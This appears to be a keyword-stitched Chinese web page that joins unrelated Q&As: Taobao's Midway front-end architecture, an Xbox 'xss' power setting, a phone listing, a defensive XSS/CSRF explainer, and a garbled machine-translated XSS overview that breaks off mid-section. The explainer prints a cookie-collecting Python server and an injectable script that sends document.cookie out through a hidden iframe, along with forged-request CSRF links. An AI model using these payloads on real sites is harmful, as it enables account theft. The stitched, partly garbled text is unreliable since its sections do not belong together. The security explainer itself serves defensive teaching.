本文目录一览:
- 1、如何评价淘宝 UED 的 Midway Framework 前后端分离
- 2、xss即开即用怎么设置
- 3、淘宝上最近热门的安卓手机xss i9000这款机子?
- 4、前端安全方面有没有了解?xss和csrf如何攻防
- 5、哪些淘宝店铺支持申通快递
- 6、谁能说一下脚本病毒的原理、攻击流程与防护、、最好详细点呀、网站也好、谢啦、、
如何评价淘宝 UED 的 Midway Framework 前后端分离
【贺师俊的回答(17票)】:
泻药。
1. 这系列文章写得很好。
【注意,熟悉我的同志应该知道,我极少给出“很好”的评价。】
2. 这系列文章以及其背后的实践重新树立了淘宝系前端工程水准的领先地位。
【在此之前的一段时间内,至少从外部来看,淘宝已经落后于狼系和企鹅系了。】
3. 这系列文章及其背后的实践也证明了nodejs对于前端来说不仅在工具链而且在架构层面的意义。
【注意,这系列文章中的思路其实并不新鲜,但是在淘宝这样规模而且业已非常成熟的产品中实施这样的转变,我认为是具有标志意义的。】
4. 具体细节上仍有许多改善空间,如此系列的第4篇《前后端分离的思考与实践(四)》在防御XSS时还是存在一些传统问题。这方面在参加杭JS的时候,我跟淘宝的herman同学有过沟通,具体就不在本问题展开了。因为这是局部问题,对整体架构影响不大。
5. 注意,以上评价的都是架构,或者说是思路。实施效果是不是好,我相信他们自己的说法。但Midway框架本身因为没有看到具体文档和代码,而且其开发的目的首要是满足淘宝的需求,因此其本身或其具体组件是否在普遍意义上适用和优秀,无法作出判断。
【徐飞的回答(19票)】:
早上看到贺老出马,也忍不住写了一篇来谈一下苏宁这样的公司对这方面的考虑。
近两年来,我一直在思考如何改进前端体系的开发模式,这里面最基础的一点就是前后端的分离。谈到前后端分离,也有一个误区,认为仅仅是以浏览器作分界,把这两部分的代码分离出来。但其实是,做这件事情的本意,是要解决开发模式的问题,也就是要分离前后端开发人员的职责。
针对不同类型的Web产品,这个分离方式是有所不同的。对于Web应用,因为它跟服务端的交互基本就是AJAX或者WebSocket接口,所以这个分离是天然的,整个前端基本都是静态HTML模板,JavaScript模块,以及CSS和相关静态资源,但是对于网购产品这样的形态,它的做法就不一样。
## 展示占主要部分的产品
网购产品的展示需求很重要,图片等资源载入非常多,但相对的操作却很少,基本只有搜索商品,加购物车,结算这样的环节。传统这样的产品,多半是这么个工作流程:
交互出高保真图,前端去切图,生成静态HTML加展示效果,然后,注意,他不是自己接着往下做,而是交给另外一群开发人员,把它转换成服务端模板,比如freemarker或者velocity之类,或者是smarty,为什么要这么做呢?因为这类产品讲究一个首屏优化,是首屏而不是首页,这就意味着对于首屏来说,经过的环节应当尽可能少,比如说,就不能先载入客户端模板,再AJAX一个数据,然后去渲染一下。这么做的性能肯定是不如服务端把HTML生成好,然后一次请求加载的。
这个过程肯定是有一些问题的,比如说,如果开发人员B在套模板的过程中,发现原先的静态HTML部分有问题,应该怎么办?大家知道,一个对HTML和CSS都很熟悉,同时又可以写业务逻辑的前端开发人员是很稀缺的,所以,多数情况下,这两边的技能是不同的,如果是简单的页面问题,这个开发人员可能自己也就解决了,如果他解决不了,怎么办?
如果B自己不改,把他已经搞成服务端模板的代码返回给前端人员A,A也没法下手,因为已经是服务端模板,A手里没有环境,改了之后不知道对不对,不能预览。那么,B把问题告诉A,A修改他的原始版本,然后再拿给B又怎样呢?这时候B又麻烦了,他要对比两次修改的部分,把自己前一阵的修改合并进去。
所以,不管怎么搞,这里面都很折腾。
Midway这个产品,他想要解决什么问题呢?既然说前端人员没法预览模板的原因是,后端在使用服务端模板,那么,我能不能找一种两边都可用的模板,你能在服务端渲染,我也能在客户端预览?服务端跟浏览器端同时都能运行的语言是什么?只有JavaScript。
所以,大家就往nodejs里面去发掘了,一个普通的JavaScript模板库,它在浏览器端也可以渲染,在nodejs端也可以输出成HTML,这时候,那些原来负责整合模板和逻辑的人员改用nodejs,是不是就解决这问题了?
想象一下这个场景多么美好:前端来决定某个模板是服务端渲染还是客户端渲染,当首屏的时候,就在nodejs里面生成HTML,不是首屏的时候,就AJAX过来在浏览器端渲染展示。
从技术方案上看,这么做很好了,工程上又带来另外一些问题,那就是对熟练JavaScript开发人员的需求量大增。对阿里这样的公司来说,前端有大几百人,别的公司只能仰望,所以他当然可以放手一搞,但对我们苏宁这样,前端人数不大的,就麻烦了。如果我们也引入这样的方案,就面临把很大一部分Java开发人员转化成JavaScript开发人员这么一个问题,这个事情短期内肯定是无法解决的,所以反过来会增加前端这边的压力。所以暂时还用不了阿里这样的方案,只能努力先提高人员水平再看情况。
服务端引入nodejs还有别的优势,比如说请求合并等等,这个也可以用其他方式变通解决,比如加一个专门的跟现有后端同构的Web服务器,在那边干这些事。
## 展示和业务逻辑较均衡的产品
对于另外一些场景,也有类似的问题,比如支付产品,展示相对没那么重,但是又算不上Web应用,它面临另外一种情况的前后端分离。这种场景下,前端的出静态HTML和DOM操作类的JavaScript,业务开发人员负责写后端,还有另外一部分业务逻辑的JS。
这里的问题是什么呢?是jQuery式代码造成的协作问题。比如说:
$(".okBtn").click(function() { $.ajax(url, data) .success(function(result) { $("someArea").html(_.template("tpl", result)); });});
因为前端人员的稀缺,所以他不可能帮你把业务逻辑写出来,所以说,这里面$.ajax往里的部分,要业务人员自己写。然后,数据得到之后,又要去处理界面部分。
很多场景下,处理界面远不是这么搞个模板放上去就完事的,所以业务开发人员感到很烦闷,为了这么一点小问题,反复去找前端的人来搞,很麻烦,自己搞又特别花时间,所以都很苦闷。
这同样是一种前后端的分离,只是这个分界线不在浏览器,而在于:是否写业务逻辑。对付这种场景,解决办法就是加强JavaScript代码的规划。现在流行那么多在前端做MV*的框架,不考虑Angular这类太重量级的,来看看Backbone这样的,它到底解决了什么问题?
很多人说,Backbone虽然小,但根本不解决问题。这句话有一定道理,但前提条件是你自己的JavaScript代码分层已经做得很好了。如果做得不好,它就可以协助你解决分层的问题。
刚才那段代码,它的问题在哪里呢,在于职责不清晰。一个函数只能做一件事,这是共识,但由于回调等方式,所以不经意就破坏了函数的单一性、完整性。我们试试来拆开它。
对于一个后端开发人员来说,他为什么常常害怕写前端代码?是因为JavaScript语言吗?其实不是,我们用来写业务逻辑的时候,只会使用JavaScript一个很小的子集,对于这个子集来说,它并不存在多大的学习困难,最麻烦的地方在于DOM、BOM等东西,对于一个后端开发人员来说,如果要求他在掌握服务端代码编写的同时,还要去学这些,那真是有些不容易,所以,我们来给他省点事。
现在我们的出发点是,把这段代码拆给两个不同的人写,一个人操作DOM,另外一个人只写逻辑,绝对不操作DOM。前面这个代码拆给前端维护,后面这个拆给业务开发人员。
最老圡的方式:
a.js
$(".okBtn").click(function() { b1(data);});function a1(result) { $("someArea").html(_.template("tpl", result));}
b.js
function b1(data) { $.ajax(url, data) .success(a1);}
现在大家是不是相安无事了?
如果这么做的话,AB双方要做很多约定,也就是说,这个过程仍然是一个螺旋链。比如说,A先写点击事件的绑定,然后想起来这里要调用一个请求,就去找B写b1方法。B在写b1的时候,又想到他要调用一个界面展示方法a1,然后又来找A写,来回也挺折腾。
况且,有这么一天,A在另外一个地方也想调用b1了,但是由于b1的回调已经写死了,比较蠢的办法就是在a1里面再判断,这是什么东西点击造成的,然后分别调用不同的回调。如果情况复杂,那这个代码写出来真是没法看。
如下:
a.js
var type = 0;$(".okBtn").click(function() { type = 1; b1(data);});$(".okBtn1").click(function() { type = 2; b1(data);});function a1(result) { if (type1) { $("someArea").html(_.template("tpl", result)); } else if (type2) { // ... } type = 0;}
b.js
function b1(data) { $.ajax(url, data) .success(a1);}
稍微好一些的办法是,在b1中,直接返回这个请求的promise,这样可以由调用方决定到底该干什么。
如下:
a.js
$(".okBtn").click(function() { b1(data).success(function(result) { $("someArea").html(_.template("tpl", result)); });});$(".okBtn1").click(function() { b1(data).success(function(result) { // ... });});
b.js
function b1(data) { return $.ajax(url, data);}
如果要对返回数据作统一处理,也可以很容易地在b1中,用promise重新封装了返回出来,只不过这样在a.js里面,直接调用的就不是success,而是then了。
注意到这样的代码还有问题,比如说大量的全局函数,不模块化,容易冲突。此外,没有一个地方可以缓存一些共享数据,比如说这么一个场景:
界面上两个块M和N,其中,M初始载入并加载数据,N在初始的时候不载入,而是在某个按钮点击的时候载入,而M和N中各有一个列表,数据来源于同一个服务端请求。
现在就有个问题,当N载入的时候,它的数据怎么来?比较老土的方式,肯定是载入N的时候,同时也再去请求一下数据,然后渲染到N上。
从一个角度看,如果说不重新请求,N的这个数据应当从哪里来?从另外一个角度看,如果重新请求了,发现数据跟之前的产生了变更,是否要同步给M,怎么同步给它?
我们看看类似Backbone这样的框架,它能提供怎样的机制呢?或者如果我们不用它,怎么自己把这个分层封装得更好一些?
首先,是建立一个数据模型,在它上面添加数据的缓存:
define("model", [], function() { var Model = { data: null, queryData : function(param, fromCache) { var defer = q.defer(); if (fromCache || this.data) { defer.resolve(this.data); } else { var self = this; this.ajax(url, param).success(function(result){ self.data = result; defer.resolve(result); }); } return defer.promise; } }; return Model;});
这么一来,我们在模型上作了数据的缓存,如果调用的时候加fromCache参数,就从缓存读取,否则就请求新的。为了在两种情况下,调用方接口能保持一致,把整个函数封装成promise,以便接着调用。这里的模型定义成单例了,假定是全局唯一的,可以根据需要调整成可实例化的。
这个时候,视图层就要封装DOM和事件的关联关系:
define("view", ["model"], function(Model) { function View(element) { this.element = element; this.element.selector(".okBtn").click(function() { var self = this; var fromCache = true; Model.queryData({}, false).then(function(result) { self.renderData(result); }); }); } View.prototype = { renderData: function(data) { this.element.selector("someArea").html(_.template("tpl", result)); } };});
这个时候,多个视图实例的情况下,数据也能够较好地利用。
这样,前端写这个View,后端写Model,可以作这么个分工。
这个只是很简陋的方式,在复杂场景下还有很多不足,在这里先不展开了。更复杂的场景也就是类似Web应用那种方式,稍后专门写一篇来展开。
## 小结
我们再来回顾前后端分离所要解决的问题,是分离前端和业务开发人员的职责,这个方案怎么定,是应当随着团队状况来确定的。比如阿里前端厉害,人多势众,他的前端就要往后推,去占领中间层。我们苏宁这样的公司,前端比较薄弱,只能在很多场景下,让出中间层,否则战线铺太广只能处处被动。
同一个中途岛,在不同的形势下,占还是不占,是很考验前端架构师的一个问题。
对阿里的这种实践,我们会持续围观,寻找并创造合适的出手时机。
【rank的回答(4票)】:
简单说下自己的看法。
前端不再继续「单纯」在 kissy 上下功夫,而可以考虑向后的延伸架构是一种前端的进步,这种前端架构将重定义阿里的前端工程师工作,很多互联网公司比阿里先行一步。
这个思路与与最早阿里很多前端没有碰后端(例如模板)有很大的关系,用 NodeJS 作中间层能解决现面临的问题,是一种不限于解决当前问题的长远解决方案。
具体是否能解决和解决得好,在于细节,不在新,而在过渡。如,如何过渡目前 NodeJS 与原来的数据交互,如何灰度过渡,工作量等。
平台化与接口化思路(后端数据接口以 Services 存在)让 amazon 收益非浅,现在后端平台化接口化在大公司趋势明显。
平台化需要更多更快的应用层开发选型,NodeJS 是不错的一种。NodeJS 虽然还是有些问题,但从信息面与我们自己的应用经验来看,已有慢慢成为后端 WebApplication 的一种很好的选型方案的趋势。
总的来说,是个趋势。
【Hex的回答(1票)】:
我认为这就是所谓的大前端开发模式。模式确实是好模式,但是真正实践起来,和后端工程师的沟通和协调也会遇到很多问题。
我做过的几个项目都是采用这种大前端的开发模式,前端基于Transformers框架+CodeIgniter组成大前端,这样确实可以很好的隔离前后端,项目可维护性大大提高。
【邓欣欣的回答(1票)】:
上周去杭州玩了下,和之前的阿里同事做了些技术交流,发现这一年,阿里的前端在流程改进上下了很大功夫; 题主所说的中途岛应该是 UDC 团队做的,应该说思路不是很新鲜,国外有 ebay 向 nodejs 的转型案例,国内之前也有百度音乐移动端的案例;
但对阿里前端来说,意义确是很重大,解决了合作流程中的一个很大问题:之前阿里的前端是只写静态 demo,写完给开发套模板,开发不太懂 html,漏写个标签,然后找前端调试,一来一去很折腾,是个必须干但又是个没啥技术含量的事; 中途岛可以很好的解决这类蛋疼事,但是请不要认为前端就因此会后端了,无非是之前浏览器用 ajax 请求接口,现在咱用 node http去请求呗,框架做得牛逼点,统一适配出前端的ajax 接口也不是不可能呀~~,想想嘛,为啥要用 node 呢? 牛逼直接写 java 啊。。哈哈哈~
其他的 F2E 团队也做些很不错的流程改进工具,同样不是很新鲜,但对阿里前端都是比较有意义的工具:
def: 项目构建与发布工具,与阿里的 gitlab, scm 整合,各种 脚手架,build,combo,发布,一条命令搞定,确实很方便;
dip:数据接口平台,定义业务线前后端数据格式的一个内部公共平台,基于 json-schema,好像也可以给你提供 mock 接口;
uitest:前端持续集成平台;之前这东西我是边做边吐槽的,似乎刚上线,类似 jenkis 这些,提交或者发布代码时,先帮你跑一次测试用例;目前通用测试库比较少。
Trace:好像是叫这个名字吧,监控平台,这个比较早就有了,用来监控各个业务线页面的运行状况并搜集各种用户数据,如分辨率,UA
我看来 def 和 dip 对阿里前端的作用会更大些,uitest 估计作用一般,阿里前端是不注重代码质量的,测试用例也仅在几个重要的直接影响交易的业务线会写。
【许文敏的回答(0票)】:
确实不错,从职责上来区分前后端分离才是王道,nodejs将成为前端工程师的基础技能
【猎人豆豆的回答(0票)】:
不要把简单的问题搞复杂,对于淘宝这样规模的公司,有些牵一发而动全身的改动,最好是在权衡风险和收益后再决定,我们是技术的使用者,而不要被技术牵着鼻子走.
【罗正烨的回答(2票)】:
前面前端的大牛们都说了,我换个角度聊聊。
这么讲吧,阿里的前端为什么比其它公司走的远,是因为他们有很多前端,还有很多不用写大量业务逻辑的前端大牛。大牛的作用,就是折腾。阿里的前端工程师水平在自身领域实践上已经跟得上后端。
但这个架构所谓的分离,其实是把很多原来前端不需要做的事揽到了自己的手上,增加前端架构师的KPI,让前端做了更多的事,周报好写。因为nodejs和前端都是js,所以学习成本并不算高,但是对一个技术人员的要求是比原来更高了。
但是,他们团队有很多HC,有很多钱。。所以像我这种一个产品线只有一二个前端的,要是这么玩儿,招人跟不上不说,然后还可以把自己累死。
所以技术选型和架构这种事,还是要根据自己团队的能力和招人啊。
xss即开即用怎么设置
节能是完全关机,比较保护硬盘。即开即用开机快,且可以在主机睡眠下下载或更新游戏。
我一般是习惯用节能完全关机的。在系统设置里面可以切换这两种模式。
知识扩展:对于很多主机党来说,都有一个问题,那就是买得起游戏机,买不起游戏,10个3a游戏基本就可以买一台游戏机了,这样来看买游戏完全不实惠,但game pass是真的牛皮,小编在一个月里用game pass体验了40款游戏,这40款游戏如果一个个单独买的话,两台ps5都可以拿到了,可现在小编仅仅只掏出来一点钱就玩到了40个游戏,当然100块一个月也有人嫌贵,淘宝上有许多兑换码,你可以挑一些销量高的买,基本不会踩雷。
淘宝上最近热门的安卓手机xss i9000这款机子?
有的可能是中国产地。
如果对电脑有一定的领悟是可以买的,如果对操作电脑不熟悉可能会遇到问题或是功能开发不出来。
如果只用她来打电话发短信花300也就够了。
怎么说,我是没发现问题,在网上下载的软件有几百款,感觉软件不太好删掉就是了。
前端安全方面有没有了解?xss和csrf如何攻防
在那个年代,大家一般用拼接字符串的方式来构造动态 SQL 语句创建应用,于是 SQL 注入成了很流行的攻击方式。在这个年代, 参数化查询 已经成了普遍用法,我们已经离 SQL 注入很远了。但是,历史同样悠久的 XSS 和 CSRF 却没有远离我们。由于之前已经对 XSS 很熟悉了,所以我对用户输入的数据一直非常小心。如果输入的时候没有经过 Tidy 之类的过滤,我一定会在模板输出时候全部转义。所以个人感觉,要避免 XSS 也是很容易的,重点是要“小心”。但最近又听说了另一种跨站攻击 CSRF ,于是找了些资料了解了一下,并与 XSS 放在一起做个比较。
XSS:脚本中的不速之客
XSS 全称“跨站脚本”,是注入攻击的一种。其特点是不对服务器端造成任何伤害,而是通过一些正常的站内交互途径,例如发布评论,提交含有 JavaScript 的内容文本。这时服务器端如果没有过滤或转义掉这些脚本,作为内容发布到了页面上,其他用户访问这个页面的时候就会运行这些脚本。
运行预期之外的脚本带来的后果有很多中,可能只是简单的恶作剧——一个关不掉的窗口:
1
2
3
while (true) {
alert("你关不掉我~");
}
也可以是盗号或者其他未授权的操作——我们来模拟一下这个过程,先建立一个用来收集信息的服务器:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python
#-*- coding:utf-8 -*-
"""
跨站脚本注入的信息收集服务器
"""
import bottle
app = bottle.Bottle()
plugin = bottle.ext.sqlite.Plugin(dbfile='/var/db/myxss.sqlite')
app.install(plugin)
@app.route('/myxss/')
def show(cookies, db):
SQL = 'INSERT INTO "myxss" ("cookies") VALUES (?)'
try:
db.execute(SQL, cookies)
except:
pass
return ""
if __name__ == "__main__":
app.run()
然后在某一个页面的评论中注入这段代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 用 script type="text/javascript"/script 包起来放在评论中
(function(window, document) {
// 构造泄露信息用的 URL
var cookies = document.cookie;
var xssURIBase = "";
var xssURI = xssURIBase + window.encodeURI(cookies);
// 建立隐藏 iframe 用于通讯
var hideFrame = document.createElement("iframe");
hideFrame.height = 0;
hideFrame.width = 0;
hideFrame.style.display = "none";
hideFrame.src = xssURI;
// 开工
document.body.appendChild(hideFrame);
})(window, document);
于是每个访问到含有该评论的页面的用户都会遇到麻烦——他们不知道背后正悄悄的发起了一个请求,是他们所看不到的。而这个请求,会把包含了他们的帐号和其他隐私的信息发送到收集服务器上。
我们知道 AJAX 技术所使用的 XMLHttpRequest 对象都被浏览器做了限制,只能访问当前域名下的 URL,所谓不能“跨域”问题。这种做法的初衷也是防范 XSS,多多少少都起了一些作用,但不是总是有用,正如上面的注入代码,用 iframe 也一样可以达到相同的目的。甚至在愿意的情况下,我还能用 iframe 发起 POST 请求。当然,现在一些浏览器能够很智能地分析出部分 XSS 并予以拦截,例如新版的 Firefox、Chrome 都能这么做。但拦截不总是能成功,何况这个世界上还有大量根本不知道什么是浏览器的用户在用着可怕的 IE6。从原则上将,我们也不应该把事关安全性的责任推脱给浏览器,所以防止 XSS 的根本之道还是过滤用户输入。用户输入总是不可信任的,这点对于 Web 开发者应该是常识。
正如上文所说,如果我们不需要用户输入 HTML 而只想让他们输入纯文本,那么把所有用户输入进行 HTML 转义输出是个不错的做法。似乎很多 Web 开发框架、模版引擎的开发者也发现了这一点,Django 内置模版和 Jinja2 模版总是默认转义输出变量的。如果没有使用它们,我们自己也可以这么做。PHP 可以用 htmlspecialchars 函数,Python 可以导入 cgi 模块用其中的 cgi.escape 函数。如果使用了某款模版引擎,那么其必自带了方便快捷的转义方式。
真正麻烦的是,在一些场合我们要允许用户输入 HTML,又要过滤其中的脚本。Tidy 等 HTML 清理库可以帮忙,但前提是我们小心地使用。仅仅粗暴地去掉 script 标签是没有用的,任何一个合法 HTML 标签都可以添加 onclick 一类的事件属性来执行 JavaScript。对于复杂的情况,我个人更倾向于使用简单的方法处理,简单的方法就是白名单重新整理。用户输入的 HTML 可能拥有很复杂的结构,但我们并不将这些数据直接存入数据库,而是使用 HTML 解析库遍历节点,获取其中数据(之所以不使用 XML 解析库是因为 HTML 要求有较强的容错性)。然后根据用户原有的标签属性,重新构建 HTML 元素树。构建的过程中,所有的标签、属性都只从白名单中拿取。这样可以确保万无一失——如果用户的某种复杂输入不能为解析器所识别(前面说了 HTML 不同于 XML,要求有很强的容错性),那么它不会成为漏网之鱼,因为白名单重新整理的策略会直接丢弃掉这些未能识别的部分。最后获得的新 HTML 元素树,我们可以拍胸脯保证——所有的标签、属性都来自白名单,一定不会遗漏。
现在看来,大多数 Web 开发者都了解 XSS 并知道如何防范,往往大型的 XSS 攻击(包括前段时间新浪微博的 XSS 注入)都是由于疏漏。我个人建议在使用模版引擎的 Web 项目中,开启(或不要关闭)类似 Django Template、Jinja2 中“默认转义”(Auto Escape)的功能。在不需要转义的场合,我们可以用类似 的方式取消转义。这种白名单式的做法,有助于降低我们由于疏漏留下 XSS 漏洞的风险。
另外一个风险集中区域,是富 AJAX 类应用(例如豆瓣网的阿尔法城)。这类应用的风险并不集中在 HTTP 的静态响应内容,所以不是开启模版自动转义能就能一劳永逸的。再加上这类应用往往需要跨域,开发者不得不自己打开危险的大门。这种情况下,站点的安全非常 依赖开发者的细心和应用上线前有效的测试。现在亦有不少开源的 XSS 漏洞测试软件包(似乎有篇文章提到豆瓣网的开发也使用自动化 XSS 测试),但我都没试用过,故不予评价。不管怎么说,我认为从用户输入的地方把好关总是成本最低而又最有效的做法。
CSRF:冒充用户之手
起初我一直弄不清楚 CSRF 究竟和 XSS 有什么区别,后来才明白 CSRF 和 XSS 根本是两个不同维度上的分类。XSS 是实现 CSRF 的诸多途径中的一条,但绝对不是唯一的一条。一般习惯上把通过 XSS 来实现的 CSRF 称为 XSRF。
CSRF 的全称是“跨站请求伪造”,而 XSS 的全称是“跨站脚本”。看起来有点相似,它们都是属于跨站攻击——不攻击服务器端而攻击正常访问网站的用户,但前面说了,它们的攻击类型是不同维度上的分 类。CSRF 顾名思义,是伪造请求,冒充用户在站内的正常操作。我们知道,绝大多数网站是通过 cookie 等方式辨识用户身份(包括使用服务器端 Session 的网站,因为 Session ID 也是大多保存在 cookie 里面的),再予以授权的。所以要伪造用户的正常操作,最好的方法是通过 XSS 或链接欺骗等途径,让用户在本机(即拥有身份 cookie 的浏览器端)发起用户所不知道的请求。
严格意义上来说,CSRF 不能分类为注入攻击,因为 CSRF 的实现途径远远不止 XSS 注入这一条。通过 XSS 来实现 CSRF 易如反掌,但对于设计不佳的网站,一条正常的链接都能造成 CSRF。
例如,一论坛网站的发贴是通过 GET 请求访问,点击发贴之后 JS 把发贴内容拼接成目标 URL 并访问:
标题content=内容
那么,我只需要在论坛中发一帖,包含一链接:
我是脑残content=哈哈
只要有用户点击了这个链接,那么他们的帐户就会在不知情的情况下发布了这一帖子。可能这只是个恶作剧,但是既然发贴的请求可以伪造,那么删帖、转帐、改密码、发邮件全都可以伪造。
如何解决这个问题,我们是否可以效仿上文应对 XSS 的做法呢?过滤用户输入, 不允许发布这种含有站内操作 URL 的链接。这么做可能会有点用,但阻挡不了 CSRF,因为攻击者可以通过 QQ 或其他网站把这个链接发布上去,为了伪装可能还使用 bit.ly 压缩一下网址,这样点击到这个链接的用户还是一样会中招。所以对待 CSRF ,我们的视角需要和对待 XSS 有所区别。CSRF 并不一定要有站内的输入,因为它并不属于注入攻击,而是请求伪造。被伪造的请求可以是任何来源,而非一定是站内。所以我们唯有一条路可行,就是过滤请求的 处理者。
比较头痛的是,因为请求可以从任何一方发起,而发起请求的方式多种多样,可以通过 iframe、ajax(这个不能跨域,得先 XSS)、Flash 内部发起请求(总是个大隐患)。由于几乎没有彻底杜绝 CSRF 的方式,我们一般的做法,是以各种方式提高攻击的门槛。
首先可以提高的一个门槛,就是改良站内 API 的设计。对于发布帖子这一类创建资源的操作,应该只接受 POST 请求,而 GET 请求应该只浏览而不改变服务器端资源。当然,最理想的做法是使用 REST 风格 的 API 设计,GET、POST、PUT、DELETE 四种请求方法对应资源的读取、创建、修改、删除。现在的浏览器基本不支持在表单中使用 PUT 和 DELETE 请求方法,我们可以使用 ajax 提交请求(例如通过 jquery-form 插件,我最喜欢的做法),也可以使用隐藏域指定请求方法,然后用 POST 模拟 PUT 和 DELETE (Ruby on Rails 的做法)。这么一来,不同的资源操作区分的非常清楚,我们把问题域缩小到了非 GET 类型的请求上——攻击者已经不可能通过发布链接来伪造请求了,但他们仍可以发布表单,或者在其他站点上使用我们肉眼不可见的表单,在后台用 js 操作,伪造请求。
接下来我们就可以用比较简单也比较有效的方法来防御 CSRF,这个方法就是“请求令牌”。读过《J2EE 核心模式》的同学应该对“同步令牌”应该不会陌生,“请求令牌”和“同步令牌”原理是一样的,只不过目的不同,后者是为了解决 POST 请求重复提交问题,前者是为了保证收到的请求一定来自预期的页面。实现方法非常简单,首先服务器端要以某种策略生成随机字符串,作为令牌(token), 保存在 Session 里。然后在发出请求的页面,把该令牌以隐藏域一类的形式,与其他信息一并发出。在接收请求的页面,把接收到的信息中的令牌与 Session 中的令牌比较,只有一致的时候才处理请求,否则返回 HTTP 403 拒绝请求或者要求用户重新登陆验证身份。
请求令牌虽然使用起来简单,但并非不可破解,使用不当会增加安全隐患。使用请求令牌来防止 CSRF 有以下几点要注意:
虽然请求令牌原理和验证码有相似之处,但不应该像验证码一样,全局使用一个 Session Key。因为请求令牌的方法在理论上是可破解的,破解方式是解析来源页面的文本,获取令牌内容。如果全局使用一个 Session Key,那么危险系数会上升。原则上来说,每个页面的请求令牌都应该放在独立的 Session Key 中。我们在设计服务器端的时候,可以稍加封装,编写一个令牌工具包,将页面的标识作为 Session 中保存令牌的键。
在 ajax 技术应用较多的场合,因为很有请求是 JavaScript 发起的,使用静态的模版输出令牌值或多或少有些不方便。但无论如何,请不要提供直接获取令牌值的 API。这么做无疑是锁上了大门,却又把钥匙放在门口,让我们的请求令牌退化为同步令牌。
第一点说了请求令牌理论上是可破解的,所以非常重要的场合,应该考虑使用验证码(令牌的一种升级,目前来看破解难度极大),或者要求用户再次输入密码(亚马逊、淘宝的做法)。但这两种方式用户体验都不好,所以需要产品开发者权衡。
无论是普通的请求令牌还是验证码,服务器端验证过一定记得销毁。忘记销毁用过的令牌是个很低级但是杀伤力很大的错误。我们学校的选课系统就有这个 问题,验证码用完并未销毁,故只要获取一次验证码图片,其中的验证码可以在多次请求中使用(只要不再次刷新验证码图片),一直用到 Session 超时。这也是为何选课系统加了验证码,外挂软件升级一次之后仍然畅通无阻。
如下也列出一些据说能有效防范 CSRF,其实效果甚微的方式甚至无效的做法。
通过 referer 判定来源页面:referer 是在 HTTP Request Head 里面的,也就是由请求的发送者决定的。如果我喜欢,可以给 referer 任何值。当然这个做法并不是毫无作用,起码可以防小白。但我觉得性价比不如令牌。
过滤所有用户发布的链接:这个是最无效的做法,因为首先攻击者不一定要从站内发起请求(上面提到过了),而且就算从站内发起请求,途径也远远不知链接一条。比如 img src="./create_post.php" / 就是个不错的选择,还不需要用户去点击,只要用户的浏览器会自动加载图片,就会自动发起请求。 *在请求发起页面用 alert 弹窗提醒用户:这个方法看上去能干扰站外通过 iframe 发起的 CSRF,但攻击者也可以考虑用 window.alert = function(){}; 把 alert 弄哑,或者干脆脱离 iframe,使用 Flash 来达到目的。
总体来说,目前防御 CSRF 的诸多方法还没几个能彻底无解的。所以 CSDN 上看到讨论 CSRF 的文章,一般都会含有“无耻”二字来形容(另一位有该名号的貌似是 DDOS 攻击)。作为开发者,我们能做的就是尽量提高破解难度。当破解难度达到一定程度,网站就逼近于绝对安全的位置了(虽然不能到达)。上述请求令牌方法,就我 认为是最有可扩展性的,因为其原理和 CSRF 原理是相克的。CSRF 难以防御之处就在于对服务器端来说,伪造的请求和正常的请求本质上是一致的。而请求令牌的方法,则是揪出这种请求上的唯一区别——来源页面不同。我们还可 以做进一步的工作,例如让页面中 token 的 key 动态化,进一步提高攻击者的门槛。本文只是我个人认识的一个总结,便不讨论过深了。
哪些淘宝店铺支持申通快递
很多淘宝店都是支持申通快递的,你选择要买的商品后进入店铺一般都是有快递说明的,有的没有你就直接联系问客服就可以了!
谁能说一下脚本病毒的原理、攻击流程与防护、、最好详细点呀、网站也好、谢啦、、
通过对xss跨站脚本攻击漏洞的历史、攻击特点、攻击原理描述及案例代码实战举例详细解析XSS漏洞攻击技术,并提出防御XSS跨站漏洞的思路方法。及WEB开发者开发网站过程中防范编码中产生xss跨站脚本攻击漏洞需要注意的事项。
XSS漏洞概述:
XSS(Cross Site Script)跨站点脚本攻击是一种注射的问题,在这种恶意脚本注入否则良性和信任的网站类型。跨站点脚本(XSS)攻击,攻击者使用时,会出现一个网络应用程序发送恶意代码,一般是在浏览器端脚本的形式,向不同的最终用户。这些缺陷,使攻击成功是相当普遍,发生在任何地方从一个Web应用程序使用在输出它没有验证或编码了用户输入。攻击者可以使用XSS的恶意脚本发送到一个毫无戒心的用户。最终用户的浏览有没有办法知道该脚本不应该信任,将执行该脚本。因为它认为该脚本来从一个受信任的源,恶意脚本可以访问任何Cookie,会话令牌,或其他敏感信息的浏览器保留,并与该网站使用。 甚至可以重写这些脚本的HTML网页的内容。
XSS漏洞历史:
XSS(Cross-site scripting)漏洞最早可以追溯到1996年,那时电子商务才刚刚起步,估计那时候国内很少人会想象到今天出现的几个国内电子商务巨头淘宝、当当、亚马逊(卓越)。XSS的出现“得益”于JavaScript的出现,JavaScript的出现给网页的设计带来了无限惊喜,包括今天风行的AJAX(Asynschronous JavaScript and XML)。同时,这些元素又无限的扩充了今天的网络安全领域。
XSS 漏洞攻击特点:
(1)XSS跨站漏洞种类多样人:
XSS攻击语句可插入到、URL地址参数后面、输入框内、img标签及DIV标签等HTML函数的属人里、Flash的getURL()动作等地方都会触发XSS漏洞。
(2)XSS跨站漏洞代码多样人:
为了躲避转义HTML特殊字符函数及过滤函数的过滤,XSS跨站的代码使用“/”来代替安字符“””、使用Tab键代替空格、部分语句转找成16进制、添加特殊字符、改变大小写及使用空格等来绕过过滤函数。
如果在您的新闻系统发现安全漏洞,如果该漏洞是一个SQL 注入漏洞,那么该漏洞就会得到您的网站管理员密码、可以在主机系统上执行shell命令、对数据库添加、删除数据。如果在您的新闻或邮件系统中发现安全漏洞,如果该漏洞是一个XSS跨站漏洞,那么可以构造一些特殊代码,只要你访问的页面包含了构造的特殊代码,您的主机可能就会执行木马程序、执行^***Cookies代码、突然转到一个银行及其它金融类的网站、泄露您的网银及其它账号与密码等。
XSS攻击原理:
